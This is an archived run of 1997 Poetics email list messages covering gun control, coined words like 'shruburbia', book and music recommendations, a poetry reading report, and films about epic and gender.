57. Alan Jen Sondheim
Re: MUTILATE THIS THREAD: Re: gun controls
Sun 2 Feb 1997

I've argued long and hard for the possession of personal nuclear weapons. New technology with red mercury makes this possible - baseball-sized dirty limited range bombs to stop them from coming "over the hill." These would replace the Davey Crockett small atomic arms, basketball sized, heavy, and extremely difficult to hide.

Perhaps the epic desire for epic is escalating the arms race.

Perhaps not.

Alan

On Sun, 2 Feb 1997, Miekal And wrote:

> [redacted] *wrote:*
>
> > *M. And wrote:*
> >
> > *>... remove them. Either their owners pay a fine or give up their*
> > *>handgun; and prevent, stop the sale. Just remove handguns from*
> > *>all markets, from all use....*
> >
> > *Gun laws in Tasmania have tightened post-Port Arthur. But here the new restrictions can largely be by-passed by applying for a $5 authorisation to shoot on both private and government-owned forest property. Its a welcome return to sanity, say gun owners. It's a back door to by-passing the new regulations, argues the Green movement.*
> >
> > *Part of my job is issuing the authorities to shoot. A chap signing the form last week could barely control his pen. "The bunnies'll be safe from you" I joked. Others simply want to preserve family heirlooms. "It's for a .303, it was my fathers', I'll never go shooting but I don't want to lose it" is a typical response.*

> *what the hell is this, Ive never made a statement about guns in my life,*
> *at least not on a list, & why is someone from the forestry department*
> *posting to the poetics, sounds like an act of intermedia terrorism....*
>
> *miekal*
>
> *who wonders "WHY ME?"*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

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58. Mark Roberts
Re: MUTILATE THIS THREAD: Re: gun controls
Sun 2 Feb 1997

> *what the hell is this, Ive never made a statement about guns in my life,*
> *at least not on a list, & why is someone from the forestry department*
> *posting to the poetics, sounds like an act of intermedia terrorism....*
>
> *miekal*
>
> *who wonders "WHY ME?"*

Editors of wonderful literary magazines (THE FAMOUS REPORTER) can work wherever they want as far as I'm concerned!!!!

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

↑ Index

59. Marina deBellagente laPalma

responses/thoughts

Sun 2 Feb 1997

Feb 2, 1997

Poetics friends and colleagues, a number of responses I've never had time to type out to various threads in the recent postings have become tangled, or maybe woven, already in my mind. So I'll share them with you as they are before I start trying to "craft" them ...

Re: LISTENING: two CDs I want to highly recommend. They also tie in with the "SPIRIT POSSESSION" query, in that they are both, in vastly different musical genres & vocabularies, about expanding or transcending one's isolated sense of Self, both as musician and as listener: 1) "Ocean of Remembrance" Sufi improvisations and Zhikrs (it's from Interworld Music in Vermont, but I found it at the Stanford mall so how obscure can it be?) these are several Turkish musicians and the music (vocals, oud, rebab, flute etc.) consists of "recitations of the names of god." 2) "Simulated Winds and Cries" Electronic music by Jim Horton, hauntingly beautiful, melodic, brash; in the tradition of process music of the 60s,70s as the pieces are cybernetically generated, but also profoundly mystical in that Horton (who lives in Berkeley and has been an invalid in great pain for years now) says "the programs, running autonomously and slightly beyond my comprehension, play music I wouldn't have thought of if left to my own devices." Artifact Recordings, Berkeley. [redacted]

When I need my head "cleared", my chi charged, or whatever, I also listen to Joshua Redman's "Mood Swing" especially the piece called Sweet Sorrow, to John Lee Hooker and of course the ever-true Franz josef Haydn.

Re "OTHER PEOPLE'S BOOKS" lining our rooms/heads. No kidding. Being slightly compulsive, I have a list of every book I've read since high school (a very long time ago) Every year one or two standout: here is the top of the charts for the past 12 months or so. * The Spell of the Sensuous: Perception and Language in a More-than-Human World. David Abram. Pantheon, 1996. * Coming to Our Senses: body & spirit in the hidden history of the west. byMorris Berman * THE GIFT: Imagination & the Erotic Life of Property Lewis Hyde * Jihad vs McWorld Benjamin Barber

I will say a little more about what is so specials to me in these books in the context of other comments below (as I said, it all got braided together)

First, Re "the language that never sits stil"l: I churned up a nifty neologism this week: the form of society we live in is aptly described as Demo-Crapitalism. (Dont get me wrong, I wouldn't trade it for anything else around at present.) The word "crap" may offend some, but let's face it ... even by any other name,

this is "the age of stuff", we are all in the Junk Tribe and consumer goods and global capital is the Game. This game requires a certain (limited) cognitive mobility of the players (that they have at least the illusion of making "choices"), hence the "demo" part (as in demotic.) But the two, as the "collapse" of communism illustrated, are inextricably linked -- if you want elections, you gotta take coca-cola too. Barber's thesis is that both Jihad (ie any fundamentalist religious ideology) and McWorld (global mass-produced corporate product especially cultural product, e.g.disneyfication) seem to be in conflict but are both forces that ultimately work against true democracy. Poets will not have dark satanic mills to point to as the culprit, but a diffuse and intoxicating web of seductions whose down side is located in other landscapes (Bhopal, the Tex-Mex border town where babies are born with birth defects due to toxic dumping ...)

What ties together the above books or seems most crucial about them is the combination of something "global" with something local -- presence in one's body. To Miekal's phrase, "terrestrial reclamation" I would add "corporeal reclamation." That is crucial to my sense of what poetry is and does.

[Given that, I must put in a mention of the book that's on my all-time top list : Mindfulness in Plain English, flawlessly logical explication and gentle hand-holding combined. by Ven. Gunaratana (dont let the unpronounceable name put you off it. I gave it to several friends in Europe this summer, it has been translated all over the place.) if you are ready to vaguely consider any kind of meditation or just leaning in the direction of wondering about what gives with buddhist philosophy and practice, this is a good straightforward beginning.]

Oh dear, I see that I have already violated several American taboos, having brought in both "religion" and "politics", two obscene things we keep "separate" in America. But with the way literacy rates are going, it wont be a "problem" for long. "Books just make people unhappy, darling."

This leads me to the more pivotal point. Something triggered insight this week as a result of the discussion about LANDSCAPE and its effects upon poetry and/or thought processes. I find the distinction suburban vs. urban to be most un-skillful; it makes a dichotomy out of what is in fact a continuum -- at what point does city become suburb? the city limits? at x number of miles from "downtown" (already a fairly ambivalent notion in many cities.) And a place like "silicon valley" as this area is now called, does not meet the former definitions, ie that one worked in the city and lived out in the sub-urb. So where does the definition go then??

Some months ago my family & I moved "down the peninsula" from San to Menlo Park, after five years of resistance on my part. All my SF friends bemoaned my exile to "suburbia". For once, I thought, I'll have a Reason for feeling like an Outsider. Gradually, I re-rooted, thanks to friends, colleagues, acquaintances,

but especially to non-human allies such as a giant redwood, ponderosa pines, magnolias and other trees towering over our slightly ramshackle but harmoniously fen-shui-ed 1920s house, and the crickets and/or tree frogs that fill the blessedly dry and sage-scented air and encircle us with their sounds on summer nights. (having a garden 4 times the size of the one we had in SF is great, especially for our five year old son, the hot tub in the gazebo and the fireplace are also bonuses tied to being in a less densely populated area.

I have always been interested in and sensitive... over-sensitive even [see my article "post-Immunnity or the Princess and the Pea" on my web-site] to place. This mayu be due in part to having lived in my lifetime in so many different places including Milan, the Italian Alps, Boston,San Fernando Valley, Hollywood, New York city, San Diego, Berkeley, British Columbia, etc.] So I began exploring the local terrain.

We live in menlo Park, just one block north of Palo Alto. Our neigborhood, the Willows, is bounded by the San Francisquito creek, which wends its way down from Jasper Ridge (which the San Andreas Fault straddles), alongside Stanford University's vast land holdings, and eastward ,to pour eventually into the San FrancsicoBay alongside the Dumbarton Bridge. It happens (far from accidentally) that this creek marks, for most of its length, the boundary between Palo Alto and Menlo Park and between the two counties (Santa Clara and San Mateo) in which they they are situated. With steep banks and a wide bed, pale and bone dry in summer, t serves as a discreet homeless encampment in places. Recent rains turned it into a surge of mud-brown liquid; then it returned to its usual sinuous green. At one point alongside the Stanford campus the county linie moves north a half mile (or the creek slips into Palo Alto, as it were.) Tis piece of land to its north is currently the subject of major hot debates in these parts between the multi-million dollar proposed development of that land and widening of Sand Hill Rd. to a major artery (it currently sort of dead-ends into the Stanford Mall's parking lot. But with a newly opened Bloomingdales... well.) versus the Menlo Park homeowners, the conservationists (open space groups, etc.) and the claim that the Ohlone Indian burial site nearby must be considered) and activism by some of those pesky types who don't take things lying down, whom civilization extinguishes at its own peril.

Well, enough local geo-politics. My point is that landscape to me is a living and changing thing; in some places we can be more aware of its impact upon our lives, but the effects are always there. I loved San Francisco, but it is mainly the buildings and human history and rich collage of culture one experiences there. The hills, the fog, the Bay even, they are background. Where you are is Haight Street or Chinatown or on the Bridge or in the Mission or the Castro, each with its odors, sounds, smells, its human-scape.

I was in Hawaii recently for the first (in Maui, named after an indigenuous trickster figure who coerced the sun into making longer days for half the year.) Took my son to look at the primordial confrontation of lava fields with ocean at LaPerouse Bay. Watched with a sense of uplift one afternoon a whale sporting itself quite close to shore ... great surge of interest by all at poolside, ooh aah, an enormous wild mammal so nearby, so far, so powerful, so vulnerable. (I thought of Berman's premise in Coming to Our Senses. In a chapter called "The Wild & the Tame", he proposes that the loss of a sentient Other to reflect us back to ourselves is a great spiritual impoverishment for our civilization. He cites zoos and even pets as poor, sad substitutes for that lost crucial experience.)

There I was in the middel of the Pacific Ocean. I could feel it, how benign nature felt, yet how at any moment it could wipe us out with a typhoon or a tsunami. The songs of the different species of birds, extravagant flowers growing everywhere, with names like hibiscus, cymbidium, protea ... and yet, it was all so ... normal. The beauty of Hawaii hit me most strongly when I got home. The environment we live in is partly by necessity, taken-for-granted, and also maybe because we (I) live so much in our heads, that memory is more affecting than the things itself. David Abram's in his book, The Spell of the Sensuous, talks very articulately and beautifully about the co-extensiveness of our cognitive apparatus with the world around us, a reciprocity developed over 2 million years.

The trip was followed by an extremely cold and wet period here in northern california, in which numerous plants died in my garden, alas. The Creek was flowing amply. As I walked by it on one of my first days back, I felt again that little frisson I get from knowing as I cross over the creek to walk along it on the Palo Alto side that I am crossing out of Menlo Park over a county line, and that this creek is passionately discussed every day in the local papers, including the SF Chronicle and San Jose Mercury. And for me, I realized that the mystery and attraction of the place also has to do with this quality of being a boundary. (for more on this see my web site and the essay "The Home Page as Literary Form", which looks at questions of boundary in relation to identity and some of my other reference points and connections to this.) That I am most comfortble at the boundaries of things, sometimes blurring them, often just hovering, fluid, where one thing transforms into another. Sometimes these are borders, edges margins, just as often they are flash-points for creativity. "The image which seems to me to best represent the work of a writer at the point of his highest commitment is that of a threshold. The true writer moves continuously back and forth (trans-gressing), across one or the other thresholds that separate the different languages or cultures or mentalities or states of consciousness." [Paolo

Valesio "Writer Between Two Worlds" in Differentia: Review of Italian Thought Number 3-4, Spring-Autumn 1989.]

Anyway, the landscape of the Peninsula has been for me a way of re-discovering an existing and very fundamental structure in my persona and my writing. Thanks for a place in which to think this out.

Marina deBellagente LaPalma
329 Pope Street
Menlo Park CA 94025
[redacted]

↑ Index

60. Herb Levy

Re: Recent Publications, Hebronics, & Neologisms

Sun 2 Feb 1997

I'm hesitant to go on for too long about new music here, but Stephen Cope wrote:

> *They also, incidentally, released another of Parkins' discs a few years back -- one which I don't have and the title of which I can't recall (though I'm hoping Herb or someone can refresh me here) -- that's absolutely extraordinary. The base material is North African...*

That'd be Isabelle, a suite "about" Isabelle Eberhardt, a European woman who travelled around North Africa often dressed as a man.

The disc actually isn't on Tzadik, but Avant, Zorn's Japanese label offering similar material (though not broken up into series like "Radical Jewish Culture" etc.) As a Japanese import it'll probably be harder to find and expensive (US$20-25)

This disc also includes a nice series of duets with percussionist Ikue Mori inspired by women super heroes from comic books of the 1940s & '50s.

Bests

Herb

(Who's hesitant mainly cause later this week he'll be offering the new release of a new music CD with music by Pauline Oliveros and Ellen Fullman & I don't want new music to overstay its welcome on this most literary of lists about gun control.)

Herb Levy
[redacted]

↑ Index

61. ralph.wessman
gun controls
Sun 2 Feb 1997

M. And wrote:

> *... remove them. Either their owners pay a fine or give up their handgun; and prevent, stop the sale. Just remove handguns from all markets, from all use....*

Gun laws in Tasmania have tightened post-Port Arthur. But here the new restrictions can largely be by-passed by applying for a $5 authorisation to shoot on both private and government-owned forest property. Its a welcome return to sanity, say gun owners. It's a back door to by-passing the new regulations, argues the Green movement.

Part of my job is issuing the authorities to shoot. A chap signing the form last week could barely control his pen. "The bunnies'll be safe from you" I joked. Others simply want to preserve family heirlooms. "It's for a .303, it was my fathers', I'll never go shooting but I don't want to lose it" is a typical response.

↑ Index

62. George Bowering
Re: responses/thoughts
Sun 2 Feb 1997

> *. Being slightly compulsive, I have a list of every book I've read since high school (a very long time ago)*

I have a list of every book I have read since I was 14. After I have read 10 books by someone, I make up a little list for his/her name and staple it to the cover of the notebook I keep my main list in. I always thought I must be the only person tight-assed enough to do this.

I even list Bromige's books!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

63. Joshua N Schuster
from a distance
Sun 2 Feb 1997

I suppose I'll add to what seems to be really a new kind of genre, the reading witness reportage, which, if this list did not invent, surely it gave it sustenance.

Upenn has perhaps one of the few and well-funded "middle-spaces" left in the world, a space which is half in the academy and half-run with pragmatic anarchy by the undergraduates and surrounding community. This place, the Writers House, finds itself in relative autonomy to the cuts and jabs of both the business (we need not make profit) and the academic institution (the decisions of what to program and which writers to bring always, so far, remain in the hands and help of undergrad students). The House here takes its own heat from the students who both run and think of the house, but so far that has lead to further understanding rather than further neglect.

So, amid this space these past few days were the wonderful writers Lee Ann Brown (great smile, a less noticeable accent in person than on the phone, will sing you out of what you thought you heard, and deeply thoughtful), Jennifer Moxley (the grace and attack of a writer who always has more to say, who asks considerately about the names and ideas of the people she meets, and asks the right questions then and before, in writing and in person), and with much welcome, Steve Evans (who has the energy of many poets, the theoretical acuity to engage the hours into options, and the friendliness to think this through with you).

They arrive Thurs. afternoon, and I help unload them in the guest suite, with short orientations over brief beers. Then a reading, with a room filled more than usual, but less than we should want or need. I give a scattered intro of clips of email conversations from students. Lee Ann reads first, all pieces I think from her excellent and back-and-forthcoming *Polyverse* (which we need in print Sun & Moon!). This book looks to be a stunning collection of what Lee Ann has collected up to recent, with substitute pledge of alliegences, thangs, oddly familiar songs, fellowed collaborations, catchy daily observations, and great short verse pieces. This is quite a book and quite wonderful to hear from.

Jennifer Moxley then reads, and varies from her wonderful newest *Imagination Verses* to even more recent work. The book is brilliant and needs more than immediate encounters as perhaps finally a way of knowing there is great poetry even according to the young. And the newer work is, maybe, even better, which just means you'll need to hear more of this yourself.

After the reading a few writers and visitors make way to a local Japanese dinner. The Sake is melted and we drink but I linger back with a headache from

skipping breakfast and lunch. Finally now I get to ask Steve about that legendary panel this past summer in Orono on race and O'hara, and what he says is right, that given the politics of O'hara's time one has to read into O'hara's work the politics of dealing with that time, which O'hara does, and so does Steve. More food. Lee Ann wields her tape recorder and goes roundtable asking with good humor for oral documentary of everyone's experience of first orgasm. More food.

Some reconvene at poet's accomodations. Major Jackson, there at the reading and dinner and on tape, says goodbye. I stay about and we talk on and about, with late tea and cookies (for what poets do is eat). Next day is again filled with talking and ideas. The writers all visit a seminar carried inside the House. Jennifer hopes there are spaces to be made where poetry doesn't have to be immediately defensive always explaining itself. Steve argues well with intensity with Al Filreis about the remains of poetic spaces. Lee Ann speaks more about her way of writing, and the making of forms for poetry, which anyone can read and write with. Then, downstairs with a ready audience, both poets read from talks and essays. Jennifer has a piece still going on "poetic labor" which we can read soon from a next great wave of Impercipients, these ones a flight of essays. Lee Ann reads some on "ballad notes" and induces smiles with the old drinking song which Francis Scott Key shifted into an anthem, then later we sing group-wise a piece from Helen Adam.

Dinner is ready then, assortments of kugel, one batch by me. More food and more talking. Jennifer says a bit about prose, a bit about memoirs. Louis Cabri imagines more with the layout of a baroque reprise. The writers ask Louis about more from his journal *Hole* and what more from Canada and Louis says there will be more. We shift to couches. Steve talks further about what scenes seem as, now and before. I hear more from Jennifer about her translations and relations with Jacqueline Risset. Lee Ann talks some about her press. Lee Ann falls barely into sleep, wakes some and combs the cat, who responds curiously to her pocketbook and scratches at the money inside. Lee Ann grabs her recorder in time to tape our witnesses of near death moments. Steve remembers a time in school when Bill Luoma came in to a reading swearing he just saw death on a bus. Time passes late so we crash our separate ways to sleep.

Next day just early stuff, brunch with the poets. Bob Perelman is there and we talk of magazines and groupings and workshopping poetry back when Bob studied at Iowa, then now when he taught at Iowa. Shawn Walker begins a house meeting with input help from the writers on future writers to bring. Soon the writers have to get back and gather their stuff, needing to leave on time for sandwiches and family. The visit was a wonderful time, and it's late now, so here is another log in the furthering genre of reading accountings.

-Joshua Schuster

↑ Index

64. Mark Weiss
Neologism
Sun 2 Feb 1997

---

shruburbia

↑ Index

65. Alan Jen Sondheim
Re: MUTILATE THIS THREAD: Re: gun controls
Sun 2 Feb 1997

---

or REMEMBER NON-OBJECTIVE VIOLENT ENTITIES which is something I'm dealing with on the fop-l list at the moment...

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

↑ Index

66. Mark Weiss
Re: Neologism
Sun 2 Feb 1997

---

that class of suburbs with well-tended landscaping, as opposed to the kind with oil refineries and factories.

At 10:03 PM 2/2/97 +0100, you wrote:
>Mark Weiss wrote:
>>
>> shruburbia
>
>mark:
>
>write the definition(s) & I'll stick it in our dictionary. Offer goes
>to everyone out there in poeticsland, they can also be emailed to me
>backchannel ifn yr too shy to show 'em off.
>
>think Im exceeded my daily post quota, I'll shut up now...
>

>miekal
>
>

↑ Index

67. David Bromige
definitions
Sun 2 Feb 1997

Shrure i'm shritin my epic. Shts shcald 'Esh Azh R' shro eckshpek mosh shw-erdz shoo begin widj esh azh r. Shet in shruburbia, shapperently conshernz shnuthin,but shcode-breakersh sjin fucshia warrjh shmay well shpeak of jhdzeir shdett of zzhrattishood to jzish shraga of shmale shrimulashn at zzhee shreoicisht heighshs.

↑ Index

68. dbkk
Susan Howe takes San Francisco by storm
Mon 3 Feb 1997

Small Press Traffic presents

Susan Howe

Saturday, February 8, 7:30 p.m.
New College Cultural Center
766 Valencia Street, SF

The last time Susan Howe read for Small Press Traffic was three years ago, and mobs of people jammed the tiny space of Canessa Park--thrilled, delighted, awed. Simply put, Howe is one of the greatest readers we¹ve ever heard, AND WE¹VE HEARD THEM ALL--as well as a great poet, thinker and archaeologist of ³marginalia.²

Howe is a Professor of English at the State University of New York, Buffalo. She is the author of My Emily Dickinson, The Europe of Trusts, Singularities, The Birth-Mark: Unsettling the Wilderness in American Literary History_, and _The Nonconformist's Memorial. Her latest book is _Frame Structures: Early Poems 1974-1979_ (Sun & Moon). Geoffrey O¹Brien has written, that Howe¹s work is ³a voyage of reconnaissance in language, a sounding out of ancient hiding places, and it is a voyage full of risk. 'Words are the only clues we have,' she has said. 'What if they fail us?'"

Local folks: check out Brian Bouldrey's column in the Lit Section of this week's Bay Guardian where he plugs this event. We love you, Brian.

$5

↑ Index

69. David Bromige
definitions/epics
Mon 3 Feb 1997

Ah, thats better. just cleared my computer of shrum virush oopsh. . . lets try again. yeah, thats fixed it.

the reason i'm feeling so good, good and silly, is that the group i'm with, who have brought a lawsuit to make the city council appear in court to defend their approval of an absurdly inadequate set of mitigation measures in an enivronmental impact report concerning the annexation of an apple orchard so that a man named o'reilly can turn it into a 16-acre business park (there are adequate business parks just 4 miles down the road already), held a fundraiser from 4-7 this sunday p.m., and this event was better attended than i'd feared it wd be. we also held a silent auction and my friend and collaborator mark perlman gave us a print for which someone pd $150 (it's worth $1100, but what can you do), so we probably raised net abt $1500, which means we now have abt 50% of the $18 grand we need to pay our attorney by the end of the month . . . hope dies last.

I like living in a town small enough (or it has been) that small groups can make a difference politically. today's m.c., Buzzy Martin, musician and curator of music at jasper o'farrell's bar, ran for city council last fall and without campaigning at all (his sole lawnsign was on my lawn, and i say 'my' because my wife supported another candidate and put her lawnsign on 'her' lawn) polled over 800 votes, and it only takes 1500 to get a seat. we hope (, , ,dies last) his increasing visibility will get him elected 2 years from now. he's needed there because pro-development forces rule since november, including a mayor, Sam Crump (Mister crump dont 'low no barrelhousin here), who had the gall to observe re-the o'reilly (whom some of us refer to as Oh, really?) project was probably unpopular with more than half the electorate, but "what kind of message would that send to developers?" Gee, Sam, stay away, I'd say . . . Since retiring, i seldom appear in public so am now tired but wired and roaming the virtual streets looking for wedding guests. I dont t h i n k there was a target in my epic shlepic ramble. I just like yr coinage shruburbia. i dont rightly know if thats where i am, maybe in exurbia (epic poem ed spenser never finished?). . .it was a tiny Appletown USA when i first clapped eyes on it (1969) but later hordes known as yuppies Marin-ated our town so now you can get a good decaff latte and rearended by a set of B(asic) M(arin) W(heels), Marin being the county between Sonoma County and San fran. hey, anyway, we got shrubs! db

↑ Index

70. Wendy Battin
Re: notley, epic / (Bandit Queen?)
Mon 3 Feb 1997

Cat Ballou?

On Mon, 3 Feb 1997, David R. Israel wrote:

> *On Mon, 3 Feb 1997 12:10:51 +1300,*
> *dpsalmon wrote --*
>
> *. . . There are also heaps of Indian & Chinese films that 'use'*
> *a woman's perspective to entertain audiences in epic surroundings.*
>
> *At 02:43 PM 2/2/97 -0700, you wrote:*
> *i'm teaching notley's _descent of alette_, _homer's art_, and want to set*
> *against these a film that explores the epic, specifically in regards to*
> *gender, power structures, war. . . .*
> *films that figure gender as instrument of epic vision. . . .*
> *dan featherston*
>
> *Dan --*
>
> *the rather recent, lovely film BANDIT QUEEN comes to mind as one to*
> *consider -- not all too sure abt. female perspective in that per se,*
> *would need to see it again -- also, as for epic? hmmm, certainly an*
> *action film w/ some epic dimension (not to mention killer music) --*
>
> *the film, as you perhaps know, is based on the real-life tale*
> *of Phoolan Devi, who became a popular Bonnie w/o Clyde sorta*
> *bandit-heroine in local mythology of 1980s Maharashtra, India (before*
> *she was captured & jailed, as depicted in the film). Her violent*
> *& sexual mistreatment in early life -- and her "heroic struggle"*
> *against both gender and caste strictures -- to become (as noted) a*
> *kind of queen of the bandits -- are all integral to the tale --*
>
> *d.i.*

Wendy Battin [redacted]
(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html

"It is not the crocodile's job to yell "Watch out for the crocodile!"--Henri Michaux

↑ Index

71. Wendy Battin
Re: definitions
Mon 3 Feb 1997

So ish exurbia an (sic) honorific? Does a sheep farm nirvana make? Or is urbia the only primate habitat?

Wendy, w/little lamb who made thee? it's that season.

On Sun, 2 Feb 1997, David Bromige wrote:

> *i've shred it before n i'll shray it again: shruburbia's shrokay. shkwiat n eshrafe. eshralienated shust aszh shrennywhere elsh. ekshep zwhen zhu shrink eshtolly wizj palzh athshloon. shoonererlatr tho yukon blone gen. Shrokay.*

↑ Index

72. DS
Re: notley, epic / (Bandit Queen?)
Mon 3 Feb 1997

Yeah, i should have thought of that. I think she has just been arrested for something. Although i am glad films like that are made i don't know that i would call it 'lovely'. It's interestingly problematic though, euro audiences seemed to lap it up, while Indian audiences (well middleage & up) were not able to cope with the graphic sex of it, so i think it failed to reach a sector of it's potential audience that could have benefited from discussion of it - that's in this country anyway. I couldn't speak for anywhere else (can't actually speak for anything outside my personal contacts)

anyway,

dan

> *the rather recent, lovely film BANDIT QUEEN comes to mind as one to consider -- not all too sure abt. female perspective in that per se, would need to see it again -- also, as for epic? hmmm, certainly an action film w/ some epic dimension (not to mention killer music) --*
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> *the film, as you perhaps know, is based on the real-life tale of Phoolan Devi, who became a popular Bonnie w/o Clyde sorta bandit-heroine in local mythology of 1980s Maharashtra, India (before she was captured & jailed, as depicted in the film). Her violent & sexual mistreatment in early life -- and her "heroic struggle" against both gender and caste strictures -- to become (as noted) a kind of queen of the bandits -- are all integral to the tale --*

> *d.i.*

↑ Index

73. Mark Weiss
Re: definitions/epics
Mon 3 Feb 1997

A marinated town is by definition more an exburb than a shruburb. Down here in San Diego, where the powers that think to be are trying to convince the voters to bribe the football team to stay by spending 78 million on a stadium expansion _and_ promising to buy all the seats needed at each game to make it come out to 60,000 (I suppose they could give the empty seats to welfare mothers), there aint much left to save, but the developers talk about the american way while fighting over the poor scraps like a bunch of hungry dogs. Not my best sentence, but you get my drift. And the very rich, as if to demonstrate that they didn't have to be real smart to get that way, build their houses on the edge of cliffs with no bedrock support, no vegetation to hold them together, and the surf pounding at the bottom--and they really do seem surprised when the place falls in. Sometimes the city helps things along by undercutting the cliff with a new road, thereby killing two birds with one stone--you get a mudslide _and_ stop the traffic. Actually, shruburb was my attempt to remind the list that there are suburbs, and then there are nasty suburbs where all of the bad stuff that cities tend not to want visible get zoned out to--refineries, rust-belt workshops, all that stuff, and a lot of lost kids with no prospects and bored to tears. But I couldn't think of a good name for that kind of place--gruburbs? Doesn't exactly roll off the tongue.

At 12:31 AM 2/3/97 -0500, you wrote:
>Ah, thats better. just cleared my computer of shrum virush oopsh. . . lets
>try again. yeah, thats fixed it.
>
>the reason i'm feeling so good, good and silly, is that the group i'm with,
>who have brought a lawsuit to make the city council appear in court to
>defend their approval of an absurdly inadequate set of mitigation measures
>in an enivronmental impact report concerning the annexation of an apple
>orchard so that a man named o'reilly can turn it into a 16-acre business
>park (there are adequate business parks just 4 miles down the road
>already), held a fundraiser from 4-7 this sunday p.m., and this event was
>better attended than i'd feared it wd be. we also held a silent auction and
>my friend and collaborator mark perlman gave us a print for which someone
>pd $150 (it's worth $1100, but what can you do), so we probably raised net

>abt $1500, which means we now have abt 50% of the $18 grand we need to pay
>our attorney by the end of the month . . . hope dies last.
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>I like living in a town small enough (or it has been) that small groups can
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>hope (, , ,dies last) his increasing visibility will get him elected 2
>years from now. he's needed there because pro-development forces rule since
>november, including a mayor, Sam Crump (Mister crump dont 'low no
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>developers?" Gee, Sam, stay away, I'd say . . . Since retiring, i seldom
>appear in public so am now tired but wired and roaming the virtual streets
>looking for wedding guests. I dont t h i n k there was a target in my epic
>shlepic ramble. I just like yr coinage shruburbia. i dont rightly know if
>thats where i am, maybe in exurbia (epic poem ed spenser never finished?).
>. .it was a tiny Appletown USA when i first clapped eyes on it (1969) but
>later hordes known as yuppies Marin-ated our town so now you can get a good
>decaff latte and rearended by a set of B(asic) M(arin) W(heels), Marin
>being the county between Sonoma County and San fran. hey, anyway, we got
>shrubs! db
>
>

↑ Index

74. Bil Brown

Re: possession/spirit POETICS Digest - 30 Jan 1997 to 31 Jan 1997

Mon 3 Feb 1997

> *From a performance angle as well as textual:*
> *Try Maya Deren's films and writings. And L.A. performance artist Rachel Rosenthal.*
>
> *And Nathaniel Mackey re possession/performance in Bedouin Hornbook etc.*
>
> *And what about Freud's performing hysterics?*
>
> *Fiona Templeton*

I agree with all Fiona. I would Like to add (besides Deren, Mackey & funny-but-true Freud) Artaud to that list. Eshelman's Translations in Conductors of the Pit is the best I have seen. This subject is a bit like my baby. So any and all responses would be grand.

Think about Diamanda Galas too... she IS NOT as POP as it would seem... Check out her book Shit of God. Excellenté and CHOCK FULL of multiple voices from other (re)sources.

Cheers,

Bil Brown

↑ Index

75. Bil Brown
Re: Nate Mackey
Mon 3 Feb 1997

> *And Nathaniel Mackey re possession/performance in Bedouin Hornbook etc.*
>
> *Fiona Templeton*

Does anyone have an email address for Nate Mackey? I would love to contact him on something of regional importance.

Bil Brown
Living&WritingPoetics in Louisville
(No where near the angel of Dust)

↑ Index

76. Michael Boughn
Re: EPIC
Mon 3 Feb 1997

> *E P I C*
>
> *...as in,*
> *this list...*
> *is to me a cyber hybrid of an epic, co-written, in real time, complete with footnotes, commentary, local color, controversy, & even a little bit of poetry,*
>
> *the attention we maintain as we interact*

Sheesh, and here I always thought epic was a poetic genre.

Mike
[redacted]

↑ Index

77. **simon**
Re: notley, epic / (Bandit Queen?)
Mon 3 Feb 1997

Re: Phoolan Devi

1. She turned herself in on Thursday last.

2. If you're considering the film, and not her life,
the film is not a female perspective or view or gaze.

beth simon

↑ Index

78. **Christopher Alexander**
Re: Query: Performance and spirit
Mon 3 Feb 1997

> *I'm looking for any suggestions (books, essays, manifestos, whatever) re. spirit possession, spirti doctors, getting the spirit, conjuring in connection with performance and the performative. Also essays about spirit possession and subjectivity.*

I'm with Stephen Cope on Spicer. _After Lorca_ would be a great, complex object to bring to the class because its next to impossible to pin down. the pretence of spirit possession/communication is elaborate but also at various points punched through with humor, openly denied, even mocked, & then perpetuated anyway.

c.
..
christopher alexander, etc.
[redacted]

"Or, worse, they will change the point of view
(top becomes bottom, male becomes female, etc etc)
and think, like the [Realists] they are, that they
have changed something."

↑ Index

79. Christopher Alexander
Re: notley/epic
Mon 3 Feb 1997

> for those of you interested in alice notley, there's an interview with her
> (conducted by judith goldman) in the new issue of the poetry project
> newsletter (february/march 1997). in it she talks about ideas of epic and
> feminine epic. you can get a copy by sending $5 to The Poetry Project
> Newsletter/The Poetry Project/St. Mark's Church/131 E. 10th Street/NY, NY
> 10003.

also dont forget to check the Talisman back list--there's an issue on
Notley back there somewhere I know. Linda knows which one. Linda?
..
christopher alexander, etc.
[redacted]

"Or, worse, they will change the point of view
(top becomes bottom, male becomes female, etc etc)
and think, like the [Realists] they are, that they
have changed something."

↑ Index

80. Pritchett,Pat
Re: notley, epic / (Bandit Queen?)
Mon 3 Feb 1997

Dan,

you might try Dreyer's "Passion of Joan of Arc" or Bresson's "Trial of Joan of Arc," though the latter may be unavailable on video. Jacques Rivette has a 1994/95 film on Joan called "Jehanne la Pucelle," but it's yet to be released in the States.

Patrick Pritchett

From: simon
To: POETICS
Subject: Re: notley, epic / (Bandit Queen?)
Date: Monday, February 03, 1997 7:46AM

Re: Phoolan Devi

1. She turned herself in on Thursday last.

2. If you're considering the film, and not her life,
the film is not a female perspective or view or gaze.

beth simon

↑ Index

81. **jarnot**
notley/epic
Mon 3 Feb 1997

---

for those of you interested in alice notley, there's an interview with her (conducted by judith goldman) in the new issue of the poetry project newsletter (february/march 1997). in it she talks about ideas of epic and feminine epic. you can get a copy by sending $5 to The Poetry Project Newsletter/The Poetry Project/St. Mark's Church/131 E. 10th Street/NY, NY 10003.

↑ Index

82. **David Bromige**
definitions/epic
Mon 3 Feb 1997

---

maria, when did this laughing-at occur? where were we, two years ago? Its not that I have a poor memory, or that you are a forgettable person (from yr postings, clearly not), but its just that its my mission to make people laugh, and quite a number have laughed at me in recent years. Perhaps i'll revive the red suspenders; the facial hair is stuck on real tight. all yrs, db

↑ Index

83. **maria damon**
Re: from a distance
Mon 3 Feb 1997

---

josh s rites...:

In message <[redacted]> UB Poetics discussion
group writes:
